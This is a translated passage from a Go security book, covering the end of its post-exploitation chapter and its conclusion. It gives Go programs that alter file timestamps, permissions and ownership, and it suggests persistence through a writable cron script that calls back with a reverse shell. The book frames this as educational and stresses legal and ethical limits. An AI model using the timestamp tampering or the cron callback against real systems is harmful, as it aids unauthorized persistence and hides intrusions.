在下一个示例中,一个文件的时间戳被修改为看起来像是在未来被修改。你可以调整futureTime变量,使文件看起来像是在任何特定时间被修改。这个示例通过将当前时间加上 50 小时 15 分钟来提供一个相对时间,但你也可以指定一个绝对时间:
package main
import (
"fmt"
"log"
"os"
"time"
)
func main() {
if len(os.Args) != 2 {
fmt.Printf("Usage: %s <filename>", os.Args[0])
fmt.Printf("Example: %s test.txt", os.Args[0])
os.Exit(1)
}
// Change timestamp to a future time
futureTime := time.Now().Add(50 * time.Hour).Add(15 * time.Minute)
lastAccessTime := futureTime
lastModifyTime := futureTime
err := os.Chtimes(os.Args[1], lastAccessTime, lastModifyTime)
if err != nil {
log.Println(err)
}
}
更改文件权限
更改文件权限,以便稍后从较低权限的用户访问该文件也可能很有用。这个示例演示了如何使用os包更改文件权限。你可以轻松地使用os.Chmod()函数更改文件权限。
这个程序被命名为chmode.go,以避免与大多数系统上提供的默认chmod程序发生冲突。它具有与chmod相同的基本功能,但没有额外的功能。
os.Chmod()函数非常简单,但必须提供os.FileMode类型。os.FileMode类型其实只是一个uint32类型,因此你可以提供一个uint32字面量(硬编码数字),或者你必须确保提供的文件模式值已转换为os.FileMode类型。在这个例子中,我们将从命令行获取字符串值(例如,"777"),并将其转换为无符号整数。我们会告诉strconv.ParseUint()将其视为八进制数字,而不是十进制数字。我们还会提供strconv.ParseUint()一个 32 的参数,这样我们将返回 32 位数字,而不是 64 位数字。在获得来自字符串值的无符号 32 位整数后,我们将其转换为os.FileMode类型。这就是标准库中os.FileMode的定义方式:
type FileMode uint32
在下一个示例中,文件的权限被更改为作为命令行参数提供的值。它的行为类似于 Linux 中的chmod程序,并接受八进制格式的权限值:
package main
import (
"fmt"
"log"
"os"
"strconv"
)
func main() {
if len(os.Args) != 3 {
fmt.Println("Change the permissions of a file.")
fmt.Println("Usage: " + os.Args[0] + " <mode> <filepath>")
fmt.Println("Example: " + os.Args[0] + " 777 test.txt")
fmt.Println("Example: " + os.Args[0] + " 0644 test.txt")
os.Exit(1)
}
mode := os.Args[1]
filePath := os.Args[2]
// Convert the mode value from string to uin32 to os.FileMode
fileModeValue, err := strconv.ParseUint(mode, 8, 32)
if err != nil {
log.Fatal("Error converting permission string to octal value. ",
err)
}
fileMode := os.FileMode(fileModeValue)
err = os.Chmod(filePath, fileMode)
if err != nil {
log.Fatal("Error changing permissions. ", err)
}
fmt.Println("Permissions changed for " + filePath)
}
更改文件所有权
该程序将接受提供的文件并更改用户和组的所有权。这可以与查找你有权限修改的文件的示例一起使用。
Go 标准库提供了os.Chown(),但是它不接受用户和组名称的字符串值。用户和组必须以整数 ID 值的形式提供。幸运的是,Go 还带有一个os/user包,其中包含根据名称查找 ID 的函数。这些函数是user.Lookup()和user.LookupGroup()。
你可以通过在 Linux/Mac 上运行id、whoami和groups命令来查看你自己的用户和组信息。
请注意,这在 Windows 上不起作用,因为所有权的处理方式不同。以下是该示例的代码实现:
package main
import (
"fmt"
"log"
"os"
"os/user"
"strconv"
)
func main() {
// Check command line arguments
if len(os.Args) != 4 {
fmt.Println("Change the owner of a file.")
fmt.Println("Usage: " + os.Args[0] +
" <user> <group> <filepath>")
fmt.Println("Example: " + os.Args[0] +
" dano dano test.txt")
fmt.Println("Example: sudo " + os.Args[0] +
" root root test.txt")
os.Exit(1)
}
username := os.Args[1]
groupname := os.Args[2]
filePath := os.Args[3]
// Look up user based on name and get ID
userInfo, err := user.Lookup(username)
if err != nil {
log.Fatal("Error looking up user "+username+". ", err)
}
uid, err := strconv.Atoi(userInfo.Uid)
if err != nil {
log.Fatal("Error converting "+userInfo.Uid+" to integer. ", err)
}
// Look up group name and get group ID
group, err := user.LookupGroup(groupname)
if err != nil {
log.Fatal("Error looking up group "+groupname+". ", err)
}
gid, err := strconv.Atoi(group.Gid)
if err != nil {
log.Fatal("Error converting "+group.Gid+" to integer. ", err)
}
fmt.Printf("Changing owner of %s to %s(%d):%s(%d).\n",
filePath, username, uid, groupname, gid)
os.Chown(filePath, uid, gid)
}
总结
阅读完这一章后,你应该对攻击后的利用阶段有了一个高层次的理解。通过操作示例并从攻击者的角度思考,你应该能更好地理解如何保护你的文件和网络。这个阶段主要涉及持久性和信息收集。你还可以使用被利用的机器来执行第十一章中的所有示例,主机发现与枚举。
绑定 shell、反向绑定 shell 和 Web shell 是攻击者用来保持持久性的技术示例。即使你不需要使用绑定 shell,理解它是什么以及攻击者如何使用它也很重要,如果你想识别恶意行为并保持系统安全。你可以使用第十一章中的端口扫描示例,主机发现与枚举,来搜索具有监听绑定 shell 的机器。你还可以使用第五章中的数据包捕获示例,数据包捕获与注入,来查找传出的反向绑定 shell。
查找可写文件可以为你提供查看文件系统所需的工具。Walk()函数的演示非常强大,可以适应许多不同的用例。你可以轻松调整它,搜索具有不同特征的文件。例如,可能你想缩小搜索范围,查找由 root 拥有但同时对你可写的文件,或者查找某种特定扩展名的文件。
一旦你获得访问权限后,还会在机器上查找哪些其他内容?你能想到其他任何方法来恢复连接吗?Cron 作业是你可以执行代码的一种方式,如果你发现一个 Cron 作业执行了一个你有写权限的脚本。如果你能够修改一个 Cron 脚本,那么你可能每天都能通过反向 shell 回拨给你,这样你就不需要保持一个活跃的会话,而这种会话更容易通过像netstat这样的工具来识别已建立的连接。
记住,在进行渗透测试或执行任何测试时,要始终保持责任心。即使你拥有完整的测试范围,理解你所采取的任何行动可能带来的后果也是至关重要的。例如,如果你为客户执行渗透测试,并且拥有完整的范围,你可能会在生产系统上发现一个漏洞。你可能会考虑安装一个 bind shell 后门来证明你能维持持久性。如果我们考虑到面对互联网的生产服务器,在没有加密且没有密码的情况下,将一个 bind shell 开放给整个互联网,显然是非常不负责任的。如果你对某些软件或命令的后果不确定,别害怕向其他有经验的人请教。
在下一章中,我们将回顾你在本书中学到的内容。我将提供一些关于 Go 语言在安全领域应用的思考,希望你能从本书中收获这些见解,并讨论从这里出发应该走向何方,以及在哪里寻找帮助。我们还将再次反思使用本书中的信息时涉及的法律、伦理和技术边界。
第十四章:结论
回顾你学到的内容
到目前为止,本书涵盖了许多关于 Go 和信息安全的主题。这些内容对多种人群都很有帮助,包括开发人员、渗透测试员、SOC 分析师、计算机取证分析师、网络与安全工程师以及 DevOps 工程师。以下是涵盖主题的高级概览:
-
Go 编程语言
-
操作文件
-
取证
-
数据包捕获与注入
-
加密学
-
安全外壳(SSH)
-
暴力破解
-
Web 应用程序
-
网页抓取
-
主机发现与枚举
-
社会工程学和蜜罐
-
后期利用
关于 Go 使用的更多思考
Go 是一门非常棒的语言,它是许多用例中的可靠选择,但像其他任何语言一样,它并不是万能的语言。正如老话所说,“总是选择最适合工作的工具。”在本书中,我们探讨了 Go 和标准库的多功能性。Go 也在性能、生产环境中的可靠性、并发性和内存使用方面表现出色,但强大的静态类型系统可能会减缓开发速度,使得 Python 更适合用于简单的概念验证。值得注意的是,你可以通过用 Go 编写 Python 模块来扩展 Python。
在一些情况下,C 编程语言可能是一个更好的选择,尤其是当你不想使用垃圾回收器但又需要编译出最小的二进制文件时。Go 确实提供了一个不安全的包,可以绕过类型安全,但它没有 C 语言那样提供更多的控制。Go 允许你封装 C 库并创建绑定,这样你就可以使用任何没有 Go 等价库的 C 库。
Go 和网络安全行业都显示出增长的迹象。Go 语言正在持续进化,语言中的一些较弱领域开始显示出有希望的迹象。例如,Qt 和 Gtk 等 GUI 库正在 Go 中封装,而 OpenGL 等 3D 图形库也有了封装。即使是移动开发也是可能的,并且持续改进。
还有一些我们未涉及的标准库中有用的包,比如用于处理二进制数据的 binary 包、用于编码和解码 XML 文档的 xml 包,以及用于解析命令行参数的 flag 包。
我希望你从这本书中获得的收获
读完这本书后,你应该对标准库中有哪些包以及 Go 语言在开箱即用情况下的多功能性有一个清晰的了解。你应该能够自如地使用 Go 进行各种任务,从简单的任务,如操作文件和建立网络连接,到更高级的任务,如抓取网站和捕获数据包。我也希望你能从中获得一些编写地道 Go 代码的技巧。
提供的示例程序应作为构建你自己工具的参考。许多程序可以直接使用,可以立即纳入你的工具包,而少数程序仅作为参考,帮助你执行常见任务。
注意法律、伦理和技术边界
对于你对机器或网络采取的任何行动,了解可能产生的后果至关重要。存在法律边界,可能会导致罚款或监禁,具体取决于法律和司法管辖区。例如,在美国,计算机欺诈和滥用法案(CFAA)使得未经授权访问计算机成为非法行为。不要总是认为授权渗透测试范围的客户有权在每一台设备上授权你。公司可以租赁物理服务器或租用他们不拥有的数据中心的虚拟或物理空间,这时你也需要从其他来源获得授权。
还有需要注意的伦理边界,这与法律边界不同。伦理边界对某些人来说可能是一个灰色区域。例如,在社会工程学中,如果你针对员工,是否认为在工作时间外进行社会工程攻击是可以接受的?是否可以向他们的个人电子邮件地址发送钓鱼邮件?是否可以冒充另一个员工并对他人撒谎?伦理的其他方面包括你在被攻陷的服务器上的行为,以及你如何处理找到的数据。如果在渗透测试过程中获取了客户数据,是否可以将其存储在外部?在渗透测试中,是否可以在客户的生产服务器上创建自己的用户?对于不同的情况,某些人可能会对伦理边界的界定产生不同的看法。意识到这些问题并在开始工作前与客户进行讨论非常重要。
除了法律和伦理方面,理解技术后果以及你的工具对服务器、网络、负载均衡器、交换机等的物理负载也至关重要。确保为网络爬虫和暴力破解工具设置合理的限制。同时,确保记录和跟踪你所采取的任何行动,以便能够撤销任何永久性更改。如果你为客户执行渗透测试,不应在其服务器上留下不必要的文件。例如,如果你安装了反向绑定 shell,请确保卸载它。如果你修改了文件权限或安装了绑定 shell,请确保没有为客户打开外部攻击的漏洞。
在安全领域工作时需要注意很多事情,但很多事情归根结底都是常识和谨慎行事。尊重你攻击的服务器,如果不理解其影响,请不要采取任何行动。如果不确定,向可信赖的经验丰富的同行或社区寻求指导。
接下来该做什么
开始构建你的工具箱和手册。使用对你有用的示例,并根据需要进行定制。对现有的一些示例进行扩展。你能想到其他的想法吗?如何修改一些程序使其更加有用?这些示例能否直接作为你工具箱中的一部分?它们是否给你提供了其他自定义工具的灵感?深入探索 Go 标准库,编写应用程序来充实你的工具箱。
开始实践并使用一些提供的工具。你可能需要找到或建立自己的测试网络,或者仅仅是一个简单的虚拟机,或者找到一个漏洞奖励计划。如果你决定尝试漏洞奖励计划,请务必仔细阅读范围和规则。为了将你学到的新工具和技能付诸实践,研究应用测试和网络渗透方法。如果你想成为渗透测试员,或者仅仅是想了解更多关于渗透测试的方法论,并在安全的实验环境中进行实践,那么我强烈推荐Offensive Security Certified Professional(OSCP)课程,该课程由 Offensive Security 提供,链接为:www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/
获取帮助并深入学习
想要更深入了解 Go、其语言设计与规范以及标准库,查看以下链接:
-
godoc 内建文档
-
在线 Go 文档:
golang.org/doc/ -
学习 Go 语言之旅:
tour.golang.org/ -
Go 标准库文档:
golang.org/pkg/
社区是获得帮助并与他人合作的好地方。在线社区和面对面的社区各有优缺点。以下是一些可以寻求 Go 帮助的地方:
-
go-nuts Freenode.net IRC 频道:
irc.lc/freenode/go-nuts -
Go 论坛:
forum.golangbridge.org -
Go Nuts 邮件列表:
groups.google.com/group/golang-nuts -
本地聚会:
www.meetup.com -
Go 常见问题:
golang.org/doc/faq -
Stack Overflow:
stackoverflow.com -
Golang Subreddit:
www.reddit.com/r/golang/
通过应用本书中的知识继续学习。编写你自己的工具来实现目标。探索其他第三方包,或考虑封装或移植 Go 缺失的 C 语言库。尝试使用这门语言。最重要的是,继续学习!


浙公网安备 33010602011771号